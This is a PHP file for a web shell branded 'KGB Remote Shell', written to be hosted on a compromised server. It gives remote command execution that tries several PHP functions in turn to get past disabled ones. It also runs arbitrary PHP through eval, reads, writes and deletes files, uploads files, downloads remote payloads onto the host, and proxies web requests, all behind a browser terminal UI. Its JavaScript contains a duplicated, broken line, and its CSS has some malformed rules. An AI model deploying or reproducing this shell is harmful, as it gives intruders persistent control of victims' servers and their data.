<?php
/**
 * COMMAND.PHP — KGB Remote Shell Proxy v1.0
 * 
 * Host this on your webshell. Then I can execute commands,
 * read/write files, upload/download, and manage servers through it.
 * 
 * SECURITY: Protected by API_KEY. Change it below.
 */

// ============================================================
// CONFIG — CHANGE THIS KEY!
// ============================================================
define('API_KEY', 'kgb_cmd_v1_8a3f9c2b7d1e5f4a6c0b9d8e7f2a1c3b');

// ============================================================
// CORS + Headers
// ============================================================
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: GET, POST, OPTIONS');
header('Access-Control-Allow-Headers: Content-Type, X-Api-Key');
// Content-Type set only in jsonResponse() or showUI()

if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
    http_response_code(200);
    exit;
}

// ============================================================
// Auth
// ============================================================
$apiKey = $_GET['api_key'] ?? $_POST['api_key'] ?? $_SERVER['HTTP_X_API_KEY'] ?? '';
if ($apiKey !== API_KEY) {
    if (isset($_GET['action']) || isset($_POST['action'])) {
        jsonResponse(['error' => 'Invalid API key'], 403);
    }
    showUI();
    exit;
}

$action = $_GET['action'] ?? $_POST['action'] ?? '';

switch ($action) {
    case 'exec': case 'shell': handleExec(); break;
    case 'read': case 'cat': handleRead(); break;
    case 'write': handleWrite(); break;
    case 'upload': handleUpload(); break;
    case 'download': handleDownload(); break;
    case 'delete': case 'rm': handleDelete(); break;
    case 'info': case 'sysinfo': handleInfo(); break;
    case 'php': handlePhp(); break;
    case 'transfer': handleTransfer(); break;
    case 'stat': case 'ls': handleStat(); break;
    case 'pwd': jsonResponse(['pwd' => __DIR__, 'cwd' => getcwd() ?: __DIR__]); break;
    case 'which': handleWhich(); break;
    case 'find': handleFind(); break;
    case 'chmod': handleChmod(); break;
    case 'search': handleSearch(); break;
    case 'curl': handleCurlProxy(); break;
    case 'test':
        jsonResponse([
            'status' => 'ok', 'php_version' => phpversion(),
            'server' => $_SERVER['SERVER_SOFTWARE'] ?? 'unknown',
            'uname' => php_uname(), 'time' => date('Y-m-d H:i:s')
        ]);
        break;
    default:
        jsonResponse(['error' => "Unknown action: $action"], 400);
}

// ============================================================
// HANDLERS
// ============================================================

function handleExec() {
    $cmd = $_POST['cmd'] ?? $_GET['cmd'] ?? '';
    if (!$cmd) jsonResponse(['error' => 'No command specified'], 400);
    $output = []; $exitCode = -1;
    $safeCmd = $cmd . ' 2>&1';

    // Method 1: shell_exec
    if (function_exists('shell_exec') && !in_array('shell_exec', array_map('trim', explode(',', ini_get('disable_functions') ?? '')))) {
        $r = @shell_exec($safeCmd);
        if ($r !== null) { $output = explode("\n", rtrim($r)); $exitCode = 0; }
    }
    // Method 2: exec
    elseif (function_exists('exec') && !in_array('exec', array_map('trim', explode(',', ini_get('disable_functions') ?? '')))) {
        @exec($safeCmd, $output, $exitCode);
    }
    // Method 3: system
    elseif (function_exists('system') && !in_array('system', array_map('trim', explode(',', ini_get('disable_functions') ?? '')))) {
        ob_start(); @system($safeCmd, $exitCode); $r = ob_get_clean();
        if ($r !== false) $output = explode("\n", rtrim($r));
    }
    // Method 4: passthru
    elseif (function_exists('passthru') && !in_array('passthru', array_map('trim', explode(',', ini_get('disable_functions') ?? '')))) {
        ob_start(); @passthru($safeCmd, $exitCode); $r = ob_get_clean();
        if ($r !== false) $output = explode("\n", rtrim($r));
    }
    // Method 5: proc_open
    elseif (function_exists('proc_open')) {
        $descriptors = [0 => ['pipe','r'], 1 => ['pipe','w'], 2 => ['pipe','w']];
        $p = @proc_open($cmd, $descriptors, $pipes);
        if (is_resource($p)) {
            fclose($pipes[0]);
            $output = explode("\n", rtrim(stream_get_contents($pipes[1])));
            $exitCode = proc_close($p);
        }
    }
    // Method 6: popen
    elseif (function_exists('popen')) {
        $h = @popen($safeCmd, 'r');
        if ($h) { while (!feof($h)) { $l = fgets($h); if ($l !== false) $output[] = rtrim($l, "\n\r"); } $exitCode = pclose($h); }
    }
    else { jsonResponse(['error' => 'No exec functions available', 'disabled' => ini_get('disable_functions')], 500); }

    jsonResponse(['cmd' => $cmd, 'output' => $output, 'exit_code' => $exitCode, 'lines' => count($output)]);
}

function handleRead() {
    $file = $_POST['file'] ?? $_GET['file'] ?? '';
    $offset = intval($_POST['offset'] ?? $_GET['offset'] ?? 0);
    $limit = intval($_POST['limit'] ?? $_GET['limit'] ?? 0);
    if (!$file) jsonResponse(['error' => 'No file specified'], 400);
    if (!file_exists($file)) jsonResponse(['error' => "Not found: $file"], 404);
    $size = filesize($file);
    $mime = mime_content_type($file) ?: 'application/octet-stream';
    $isText = strpos($mime, 'text/') !== false || $size < 204800;
    
    if ($isText) {
        if ($offset > 0 || $limit > 0) {
            $lines = @file($file);
            $content = $lines ? implode('', array_slice($lines, $offset, $limit > 0 ? $limit : null)) : null;
        } else {
            $content = @file_get_contents($file);
        }
        jsonResponse(['file' => $file, 'size' => $size, 'mime' => $mime, 'is_text' => true, 'content' => $content]);
    } else {
        $maxBytes = min($size, 5242880);
        $h = @fopen($file, 'rb');
        $b64 = $h ? base64_encode(fread($h, $maxBytes)) : '';
        if ($h) fclose($h);
        jsonResponse(['file' => $file, 'size' => $size, 'mime' => $mime, 'is_text' => false, 'base64' => $b64, 'truncated' => $size > $maxBytes]);
    }
}

function handleWrite() {
    $file = $_POST['file'] ?? $_GET['file'] ?? '';
    $content = $_POST['content'] ?? $_GET['content'] ?? '';
    $append = ($_POST['append'] ?? $_GET['append'] ?? '') === 'true';
    $base64 = $_POST['base64'] ?? $_GET['base64'] ?? '';
    if (!$file) jsonResponse(['error' => 'No file specified'], 400);
    if ($base64) { $content = base64_decode($base64, true); if ($content === false) jsonResponse(['error' => 'Invalid base64'], 400); }
    if (!$content) jsonResponse(['error' => 'No content'], 400);
    $dir = dirname($file);
    if (!is_dir($dir)) @mkdir($dir, 0755, true);
    $mode = $append ? FILE_APPEND : 0;
    $bytes = @file_put_contents($file, $content, $mode);
    if ($bytes === false) jsonResponse(['error' => 'Write failed'], 500);
    jsonResponse(['file' => $file, 'bytes_written' => $bytes, 'mode' => $append ? 'append' : 'write', 'size' => filesize($file)]);
}

function handleUpload() {
    $f = $_FILES['file'] ?? $_FILES['upload'] ?? null;
    if (!$f) jsonResponse(['error' => 'No file uploaded. Use field "file"'], 400);
    if ($f['error'] !== UPLOAD_ERR_OK) jsonResponse(['error' => 'Upload error: '.$f['error']], 400);
    $dest = $_POST['path'] ?? $_GET['path'] ?? $f['name'];
    $dir = dirname($dest);
    if (!is_dir($dir)) @mkdir($dir, 0755, true);
    if (move_uploaded_file($f['tmp_name'], $dest)) {
        jsonResponse(['file' => $dest, 'size' => filesize($dest), 'name' => $f['name']]);
    } else {
        jsonResponse(['error' => 'Move failed'], 500);
    }
}

function handleDownload() {
    $file = $_POST['file'] ?? $_GET['file'] ?? '';
    if (!$file) jsonResponse(['error' => 'No file'], 400);
    if (!file_exists($file)) jsonResponse(['error' => "Not found: $file"], 404);
    $size = filesize($file);
    $name = basename($file);
    
    if ($size <= 10485760) {
        $content = @file_get_contents($file);
        jsonResponse(['file' => $file, 'name' => $name, 'size' => $size, 'inline' => true, 'base64' => base64_encode($content)]);
        return;
    }
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="'.$name.'"');
    header('Content-Length: '.$size);
    ob_clean(); flush(); readfile($file);
    exit;
}

function handleDelete() {
    $file = $_POST['file'] ?? $_GET['file'] ?? '';
    $recursive = ($_POST['recursive'] ?? $_GET['recursive'] ?? '') === 'true';
    if (!$file) jsonResponse(['error' => 'No file'], 400);
    if (!file_exists($file)) jsonResponse(['error' => "Not found: $file"], 404);
    if (is_dir($file)) {
        if ($recursive) { $ok = rmDirRecursive($file); jsonResponse(['deleted' => $file, 'type' => 'dir', 'success' => $ok]); }
        else { $ok = @rmdir($file); jsonResponse(['deleted' => $file, 'type' => 'dir', 'success' => $ok]); }
    } else {
        $ok = @unlink($file);
        jsonResponse(['deleted' => $file, 'type' => 'file', 'success' => $ok]);
    }
}

function handleInfo() {
    $dt = @disk_total_space('/'); $df = @disk_free_space('/');
    jsonResponse([
        'php_version' => phpversion(),
        'uname' => php_uname(),
        'server' => $_SERVER['SERVER_SOFTWARE'] ?? 'unknown',
        'server_name' => $_SERVER['SERVER_NAME'] ?? 'unknown',
        'server_addr' => $_SERVER['SERVER_ADDR'] ?? 'unknown',
        'document_root' => $_SERVER['DOCUMENT_ROOT'] ?? 'unknown',
        'current_dir' => getcwd() ?: __DIR__,
        'script_path' => __FILE__,
        'disk' => ['total' => $dt, 'free' => $df, 'used' => $dt - $df, 'total_h' => formatBytes($dt), 'free_h' => formatBytes($df)],
        'memory' => ['limit' => ini_get('memory_limit'), 'usage' => function_exists('memory_get_usage') ? formatBytes(memory_get_usage()) : 'N/A'],
        'extensions' => get_loaded_extensions(),
        'disabled_functions' => array_map('trim', explode(',', ini_get('disable_functions') ?? '')),
        'safe_mode' => ini_get('safe_mode'),
        'open_basedir' => ini_get('open_basedir'),
        'upload_max' => ini_get('upload_max_filesize'),
        'post_max' => ini_get('post_max_size'),
        'time' => date('Y-m-d H:i:s'),
    ]);
}

function handlePhp() {
    $code = $_POST['code'] ?? $_GET['code'] ?? '';
    if (!$code) jsonResponse(['error' => 'No code'], 400);
    ob_start();
    try { eval($code); $output = ob_get_clean(); jsonResponse(['output' => $output, 'success' => true]); }
    catch (Throwable $e) { ob_end_clean(); jsonResponse(['error' => $e->getMessage(), 'line' => $e->getLine(), 'success' => false], 500); }
}

function handleTransfer() {
    $url = $_POST['url'] ?? $_GET['url'] ?? '';
    $dest = $_POST['dest'] ?? $_GET['dest'] ?? $_POST['path'] ?? $_GET['path'] ?? '';
    if (!$url || !$dest) jsonResponse(['error' => 'Need url and dest'], 400);
    $dir = dirname($dest);
    if (!is_dir($dir)) @mkdir($dir, 0755, true);
    $success = false; $method = '';
    
    if (ini_get('allow_url_fopen') && @copy($url, $dest)) { $success = true; $method = 'copy'; }
    if (!$success && function_exists('curl_init')) {
        $fp = @fopen($dest, 'wb');
        if ($fp) {
            $ch = curl_init($url);
            curl_setopt_array($ch, [CURLOPT_FILE=>$fp, CURLOPT_TIMEOUT=>300, CURLOPT_FOLLOWLOCATION=>true, CURLOPT_SSL_VERIFYPEER=>false]);
            curl_exec($ch); $code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); fclose($fp);
            if ($code >= 200 && $code < 400 && filesize($dest) > 0) { $success = true; $method = 'curl'; }
            else @unlink($dest);
        }
    }
    jsonResponse(['url' => $url, 'dest' => $dest, 'method' => $method, 'success' => $success, 'size' => $success ? filesize($dest) : 0]);
}

function handleStat() {
    $path = $_POST['path'] ?? $_GET['path'] ?? '.';
    if (!file_exists($path)) jsonResponse(['error' => "Not found: $path"], 404);
    if (is_file($path)) {
        jsonResponse(['path' => $path, 'type' => 'file', 'size' => filesize($path), 'size_h' => formatBytes(filesize($path)),
            'perm' => substr(sprintf('%o', fileperms($path)), -4), 'mtime' => date('Y-m-d H:i:s', filemtime($path)),
            'is_readable' => is_readable($path), 'is_writable' => is_writable($path), 'is_executable' => is_executable($path),
            'mime' => mime_content_type($path)]);
    } else {
        $items = [];
        $dh = @opendir($path);
        if ($dh) {
            while (($e = readdir($dh)) !== false) {
                if ($e === '.' || $e === '..') continue;
                $f = $path.'/'.$e;
                $items[] = ['name'=>$e, 'type'=>is_dir($f)?'dir':'file', 'size'=>is_file($f)?filesize($f):0, 'size_h'=>is_file($f)?formatBytes(filesize($f)):'-', 'mtime'=>date('Y-m-d H:i:s', filemtime($f))];
            }
            closedir($dh);
        }
        usort($items, function($a,$b){if($a['type']!==$b['type'])return $a['type']==='dir'?-1:1;return strcasecmp($a['name'],$b['name']);});
        jsonResponse(['path'=>$path, 'type'=>'dir', 'items'=>$items, 'total'=>count($items), 'realpath'=>realpath($path)]);
    }
}

function handleWhich() {
    $cmd = $_POST['cmd'] ?? $_GET['cmd'] ?? '';
    if (!$cmd) jsonResponse(['error' => 'No cmd'], 400);
    $found = null;
    $paths = explode(':', ($_SERVER['PATH'] ?? '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin'));
    foreach ($paths as $p) {
        $f = rtrim($p,'/').'/'.$cmd;
        if (is_file($f) && is_executable($f)) { $found = $f; break; }
    }
    if (!$found) {
        $out = []; @exec("which $cmd 2>/dev/null", $out, $code);
        if ($code === 0 && !empty($out[0])) $found = $out[0];
    }
    jsonResponse(['cmd' => $cmd, 'found' => $found !== null, 'path' => $found]);
}

function handleFind() {
    $dir = $_POST['dir'] ?? $_GET['dir'] ?? '.';
    $name = $_POST['name'] ?? $_GET['name'] ?? '';
    $maxResults = intval($_POST['limit'] ?? $_GET['limit'] ?? 200);
    if (!$name) jsonResponse(['error' => 'Need name'], 400);
    $results = [];
    $it = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($dir, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST);
    $it->setMaxDepth(3);
    foreach ($it as $fi) {
        if (count($results) >= $maxResults) break;
        if (fnmatch($name, $fi->getFilename())) {
            $results[] = ['path'=>$fi->getPathname(), 'type'=>$fi->isDir()?'dir':'file', 'size'=>$fi->isFile()?$fi->getSize():0, 'mtime'=>date('Y-m-d H:i:s',$fi->getMTime())];
        }
    }
    jsonResponse(['dir'=>realpath($dir), 'pattern'=>$name, 'results'=>$results, 'total'=>count($results), 'truncated'=>count($results)>=$maxResults]);
}

function handleChmod() {
    $file = $_POST['file'] ?? $_GET['file'] ?? '';
    $mode = $_POST['mode'] ?? $_GET['mode'] ?? '';
    if (!$file || !$mode) jsonResponse(['error' => 'Need file and mode'], 400);
    if (!file_exists($file)) jsonResponse(['error' => "Not found: $file"], 404);
    $ok = @chmod($file, octdec($mode));
    jsonResponse(['file'=>$file, 'mode'=>$mode, 'new_perm'=>substr(sprintf('%o',fileperms($file)),-4), 'success'=>$ok]);
}

function handleSearch() {
    $file = $_POST['file'] ?? $_GET['file'] ?? '';
    $pattern = $_POST['pattern'] ?? $_GET['pattern'] ?? '';
    if (!$file || !$pattern) jsonResponse(['error' => 'Need file and pattern'], 400);
    if (!is_file($file)) jsonResponse(['error' => "Not found: $file"], 404);
    $results = []; $lines = @file($file);
    if ($lines === false) jsonResponse(['error' => 'Cannot read'], 500);
    foreach ($lines as $n => $l) {
        if (preg_match('/'.preg_quote($pattern,'/').'/i', $l)) $results[] = ['line'=>$n+1, 'content'=>rtrim($l)];
    }
    jsonResponse(['file'=>$file, 'pattern'=>$pattern, 'matches'=>count($results), 'results'=>$results]);
}

function handleCurlProxy() {
    $url = $_POST['url'] ?? $_GET['url'] ?? '';
    if (!$url) jsonResponse(['error' => 'Need url'], 400);
    $ch = curl_init($url);
    curl_setopt_array($ch, [CURLOPT_RETURNTRANSFER=>true, CURLOPT_FOLLOWLOCATION=>true, CURLOPT_TIMEOUT=>30, CURLOPT_SSL_VERIFYPEER=>false, CURLOPT_USERAGENT=>'Mozilla/5.0']);
    $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); $error = curl_error($ch); curl_close($ch);
    jsonResponse(['url'=>$url, 'http_code'=>$httpCode, 'response'=>strlen($response)>50000?substr($response,0,50000):$response, 'truncated'=>strlen($response)>50000, 'curl_error'=>$error?:null]);
}

// ============================================================
// HELPERS
// ============================================================

function jsonResponse($data, $code = 200) {
    header('Content-Type: application/json; charset=utf-8');
    http_response_code($code);
    echo json_encode($data, JSON_PRETTY_PRINT|JSON_UNESCAPED_SLASHES|JSON_UNESCAPED_UNICODE);
    exit;
}

function formatBytes($bytes) {
    if (!$bytes) return 'N/A';
    $units = ['B','KB','MB','GB','TB']; $i = 0;
    while ($bytes >= 1024 && $i < 4) { $bytes /= 1024; $i++; }
    return round($bytes, 1).' '.$units[$i];
}

function rmDirRecursive($dir) {
    $files = array_diff(scandir($dir), ['.','..']);
    foreach ($files as $f) { $p = $dir.'/'.$f; is_dir($p) ? rmDirRecursive($p) : @unlink($p); }
    return @rmdir($dir);
}

// ============================================================
// WEB UI — shown when accessed from browser without API key
// ============================================================
function showUI() {
    header('Content-Type: text/html; charset=utf-8');
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>COMMAND.PHP — KGB Remote Shell</title>
<style>
* { margin:0; padding:0; box-sizing:border-box; }
body { background:#0a0a0f; color:#c0c0c0; font-family:'Consolas','Courier New',monospace; font-size:13px; }
.header { background:linear-gradient(135deg,#0d1b2a,#1b2838); border-bottom:1px solid #00ff8844; padding:12px 20px; display:flex; align-items:center; justify-content:space-between; }
.header h1 { color:#00ff88; font-size:16px; font-weight:normal; }
.header .badge { color:#888; font-size:11px; }
.status-bar { background:#0d1117; border-bottom:1px solid #1a1a2e; padding:8px 20px; font-size:11px; color:#666; display:flex; gap:20px; flex-wrap:wrap; }
.status-bar .ok { color:#00ff88; }
.status-bar .warn { color:#ffaa00; }
.container { display:flex; height:calc(100vh - 80px); }
.sidebar { width:240px; background:#0d1117; border-right:1px solid #1a1a2e; overflow-y:auto; padding:10px; flex-shrink:0; }
.sidebar .section { margin-bottom:15px; }
.sidebar .section-title { color:#00ff88; font-size:11px; text-transform:uppercase; letter-spacing:1px; margin-bottom:8px; border-bottom:1px solid #1a1a2e; padding-bottom:4px; }
.sidebar .file-item { padding:3px 8px; cursor:pointer; border-radius:3px; font-size:12px; white-space:nowrap; overflow:hidden; text-overflow:ellipsis; }
.sidebar .file-item:hover { background:#1a1a2e; color:#fff; }
.sidebar .file-item.dir { color:#00ccff; }
.sidebar .file-item.file { color:#c0c0c0; }
.main { flex:1; display:flex; flex-direction:column; }
.toolbar { background:#0d1117; border-bottom:1px solid #1a1a2e; padding:8px 15px; display:flex; gap:8px; align-items:center; flex-wrap:wrap; }
.toolbar input, .toolbar select { background:#1a1a2e; border:1px solid #2a2a3e; color:#c0c0c0; padding:4px 8px; border-radius:3px; font-family:inherit; font-size:12px; }
.toolbar input:focus { outline:none; border-color:#00ff88; }
.toolbar button { background:#1a1a2e; border:1px solid #2a2a3e; color:#c0c0c0; padding:4px 12px; border-radius:3px; cursor:pointer; font-family:inherit; font-size:12px; }
.toolbar button:hover { background:#2a2a3e; border-color:#00ff8844; }
.toolbar .action { background:#003311; border-color:#00ff8844; color:#00ff88; }
.toolbar .action:hover { background:#004422; }
.toolbar .danger { background:#330000; border-color:#ff444444; color:#ff4444; }
.toolbar .danger:hover { background:#440000; }
.output { flex:1; overflow-y:auto; padding:10px 15px; background:#0a0a0f; }
.output pre { white-space:pre-wrap; word-break:break-all; font-family:inherit; font-size:12px; line-height:1.5; }
.output .cmd-line { color:#00ff88; margin-bottom:4px; }
.output .stdout-line { color:#c0c0c0; }
.output .stderr-line { color:#ff6644; }
.output .exit-code { color:#888; font-size:11px; margin-top:4px; }
.output .error-msg { color:#ff4444; padding:10px; background#1a0000; border:1px solid #ff444444; border-radius:4px; margin:10px 0; }
.output .info-msg { color:#00ccff; padding:10px; background#000d1a; border:1px solid #00ccff44; border-radius:4px; margin:10px 0; }
.output .file-content { background#0d1117; padding:10px; border-radius:4px; border:1px solid #1a1a2e; margin:8px 0; overflow-x:auto; }
#cmdInput { flex:1; min-width:200px; background:#1a1a2e; border:1px solid #2a2a3e; color:#c0c0c0; padding:6px 10px; border-radius:3px; font-family:inherit; font-size:13px; }
#cmdInput:focus { outline:none; border-color:#00ff88; }
#cmdInput::placeholder { color:#444; }
.loading { display:none; color:#888; font-size:11px; padding:5px; }
.prompt-line { display:flex; gap:8px; align-items:center; padding:8px 15px; background:#0d1117; border-top:1px solid #1a1a2e; }
.prompt { color:#00ff88; font-size:13px; white-space:nowrap; }
.tab-bar { display:flex; border-bottom:1px solid #1a1a2e; background:#0d1117; }
.tab { padding:6px 15px; cursor:pointer; font-size:12px; color:#666; border-bottom:2px solid transparent; }
.tab:hover { color:#c0c0c0; }
.tab.active { color:#00ff88; border-bottom-color:#00ff88; }
.editor-area { display:none; flex:1; }
.editor-area.active { display:flex; flex-direction:column; }
.editor-textarea { flex:1; background:#0a0a0f; border:none; color:#c0c0c0; font-family:'Consolas','Courier New',monospace; font-size:12px; padding:10px; resize:none; outline:none; }
.editor-textarea:focus { outline:none; }
</style>
</head>
<body>
<div class="header">
    <h1>⚡ COMMAND.PHP — KGB Remote Shell</h1>
    <div class="badge">v1.0 | API Key Protected</div>
</div>
<div class="status-bar" id="statusBar">
    <span>PHP: <span class="ok" id="phpVer">...</span></span>
    <span>Host: <span id="hostname">...</span></span>
    <span>Disk: <span id="diskInfo">...</span></span>
    <span>User: <span id="userInfo">www-data</span></span>
</div>
<div class="container">
    <div class="sidebar" id="sidebar">
        <div class="section">
            <div class="section-title">📁 Files</div>
            <div style="padding:4px 0;"><input type="text" id="fileNav" placeholder="cd /path" style="width:100%;background:#1a1a2e;border:1px solid #2a2a3e;color:#c0c0c0;padding:4px 8px;border-radius:3px;font-family:inherit;font-size:12px;" value="/var/www"></div>
            <div style="margin-top:5px;" id="fileList"></div>
        </div>
        <div class="section">
            <div class="section-title">⚡ Quick Commands</div>
            <div class="file-item" onclick="runCmd('ls -la')">ls -la</div>
            <div class="file-item" onclick="runCmd('pwd')">pwd</div>
            <div class="file-item" onclick="runCmd('id')">id / whoami</div>
            <div class="file-item" onclick="runCmd('df -h')">df -h</div>
            <div class="file-item" onclick="runCmd('free -h')">free -h</div>
            <div class="file-item" onclick="runCmd('uname -a')">uname -a</div>
            <div class="file-item" onclick="runCmd('php -v')">php -v</div>
            <div class="file-item" onclick="runCmd('netstat -tlnp')">netstat -tlnp</div>
            <div class="file-item" onclick="runCmd('ps aux | head -20')">ps aux (top 20)</div>
            <div class="file-item" onclick="runCmd('nginx -t 2>&1')">nginx test</div>
            <div class="file-item" onclick="runCmd('systemctl status nginx')">systemctl nginx</div>
            <div class="file-item" onclick="runCmd('mysqladmin ping')">mysql ping</div>
        </div>
    </div>
    <div class="main">
        <div class="tab-bar">
            <div class="tab active" onclick="switchTab('terminal',this)">💻 Terminal</div>
            <div class="tab" onclick="switchTab('editor',this)">✏️ Editor</div>
        </div>
        <div class="editor-area active" id="terminalArea">
            <div class="output" id="output">
                <div class="info-msg">⚡ COMMAND.PHP active. Type command below or click quick actions.</div>
                <div class="cmd-line"># whoami</div>
                <div class="stdout-line" id="loadingMsg" style="display:none;">⏳ Running...</div>
            </div>
            <div class="prompt-line">
                <span class="prompt">root@webshell:~$</span>
                <input type="text" id="cmdInput" placeholder="Type command and press Enter..." autofocus>
                <button class="action" onclick="executeCommand()">▶ Run</button>
                <button onclick="clearOutput()">Clear</button>
                <span class="loading" id="loading">⏳ Running...</span>
            </div>
        </div>
        <div class="editor-area" id="editorArea">
            <div class="toolbar">
                <input type="text" id="editFilePath" placeholder="/path/to/file.php" style="flex:1;">
                <button class="action" onclick="loadFile()">📂 Load</button>
                <button class="action" onclick="saveFile()">💾 Save</button>
                <button onclick="newFile()">New</button>
            </div>
            <textarea class="editor-textarea" id="editorContent" placeholder="File content will appear here..." spellcheck="false"></textarea>
        </div>
    </div>
</div>

<script>
let currentPath = '/var/www';
let commandHistory = [];
let historyIndex = -1;

// Init: get server info
async function api(action, params) {
    const apiKey = '<?=API_KEY?>';
    const formData = new FormData();
    formData.append('action', action);
    formData.append('api_key', apiKey);
    for (let [k,v] of Object.entries(params)) formData.append(k, v);
    const res = await fetch(window.location.href, {method:'POST', body:formData});
    return await res.json();
}

async function init() {
    const info = await api('info', {});
    if (info.php_version) {
        document.getElementById('phpVer').textContent = info.php_version;
        document.getElementById('hostname').textContent = info.server_name || info.uname?.split(' ')[1] || 'unknown';
        if (info.disk) document.getElementById('diskInfo').textContent = info.disk.free_h + ' / ' + info.disk.total_h;
    }
    loadDir('/var/www');
}

async function loadDir(path) {
    currentPath = path;
    document.getElementById('fileNav').value = path;
    const res = await api('ls', {path: path});
    const list = document.getElementById('fileList');
    list.innerHTML = '';
    if (res.type !== 'dir' ||    if (res.type !== 'dir' || !res.items) return;
    // Parent dir entry
    const parentDiv = document.createElement('div');
    parentDiv.className = 'file-item dir';
    parentDiv.textContent = '..';
    parentDiv.onclick = () => loadDir(path.replace(/\/+$/, '').split('/').slice(0,-1).join('/') || '/');
    list.appendChild(parentDiv);
    
    res.items.forEach(item => {
        const div = document.createElement('div');
        div.className = 'file-item ' + item.type;
        div.textContent = (item.type === 'dir' ? '?? ' : '?? ') + item.name + '  ' + item.size_h;
        if (item.type === 'dir') {
            div.onclick = () => loadDir(currentPath + '/' + item.name);
        } else {
            div.onclick = () => loadFileEditor(currentPath + '/' + item.name);
        }
        list.appendChild(div);
    });
}

async function executeCommand() {
    const input = document.getElementById('cmdInput');
    const cmd = input.value.trim();
    if (!cmd) return;
    
    commandHistory.push(cmd);
    historyIndex = commandHistory.length;
    
    const output = document.getElementById('output');
    output.innerHTML += '<div class="cmd-line"># ' + cmd + '</div>';
    document.getElementById('loading').style.display = 'inline';
    
    const res = await api('exec', {cmd: cmd});
    document.getElementById('loading').style.display = 'none';
    
    if (res.output && res.output.length > 0) {
        res.output.forEach(line => {
            output.innerHTML += '<div class="stdout-line">' + escapeHtml(line) + '</div>';
        });
    }
    output.innerHTML += '<div class="exit-code">Exit code: ' + res.exit_code + ' | ' + res.lines + ' lines</div>';
    output.scrollTop = output.scrollHeight;
    input.value = '';
    input.focus();
}

async function runCmd(cmd) {
    document.getElementById('cmdInput').value = cmd;
    executeCommand();
}

function clearOutput() {
    document.getElementById('output').innerHTML = '<div class="info-msg">Output cleared.</div>';
}

function switchTab(tab, el) {
    document.querySelectorAll('.tab').forEach(t => t.classList.remove('active'));
    document.querySelectorAll('.editor-area').forEach(a => a.classList.remove('active'));
    el.classList.add('active');
    document.getElementById(tab + 'Area').classList.add('active');
}

async function loadFileEditor(filePath) {
    document.getElementById('editFilePath').value = filePath;
    const res = await api('read', {file: filePath});
    if (res.content !== undefined) {
        document.getElementById('editorContent').value = res.content;
        switchTab('editor', document.querySelector('.tab:nth-child(2)'));
    } else {
        alert('Cannot read file: ' + (res.error || 'unknown'));
    }
}

async function loadFile() {
    const path = document.getElementById('editFilePath').value.trim();
    if (!path) return;
    loadFileEditor(path);
}

async function saveFile() {
    const path = document.getElementById('editFilePath').value.trim();
    const content = document.getElementById('editorContent').value;
    if (!path) return;
    
    const res = await api('write', {file: path, content: content});
    if (res.bytes_written > 0) {
        document.getElementById('output').innerHTML += '<div class="cmd-line"># Saved: ' + path + ' (' + res.bytes_written + ' bytes)</div>';
        alert('Saved: ' + res.bytes_written + ' bytes');
    } else {
        alert('Save failed: ' + (res.error || 'unknown'));
    }
}

function newFile() {
    document.getElementById('editFilePath').value = '';
    document.getElementById('editorContent').value = '';
    switchTab('editor', document.querySelector('.tab:nth-child(2)'));
}

function escapeHtml(str) {
    if (!str) return '';
    return str.replace(/&/g,'&amp;').replace(/</g,'&lt;').replace(/>/g,'&gt;');
}

// Enter key handling
document.getElementById('cmdInput').addEventListener('keydown', function(e) {
    if (e.key === 'Enter') {
        executeCommand();
    } else if (e.key === 'ArrowUp') {
        if (historyIndex > 0) {
            historyIndex--;
            this.value = commandHistory[historyIndex];
        }
        e.preventDefault();
    } else if (e.key === 'ArrowDown') {
        if (historyIndex < commandHistory.length - 1) {
            historyIndex++;
            this.value = commandHistory[historyIndex];
        } else {
            historyIndex = commandHistory.length;
            this.value = '';
        }
        e.preventDefault();
    }
});

// File path enter key
document.getElementById('fileNav').addEventListener('keydown', function(e) {
    if (e.key === 'Enter') loadDir(this.value.trim());
});

// Init on load
document.addEventListener('DOMContentLoaded', init);
</script>
</body>
</html>
<?php } ?>
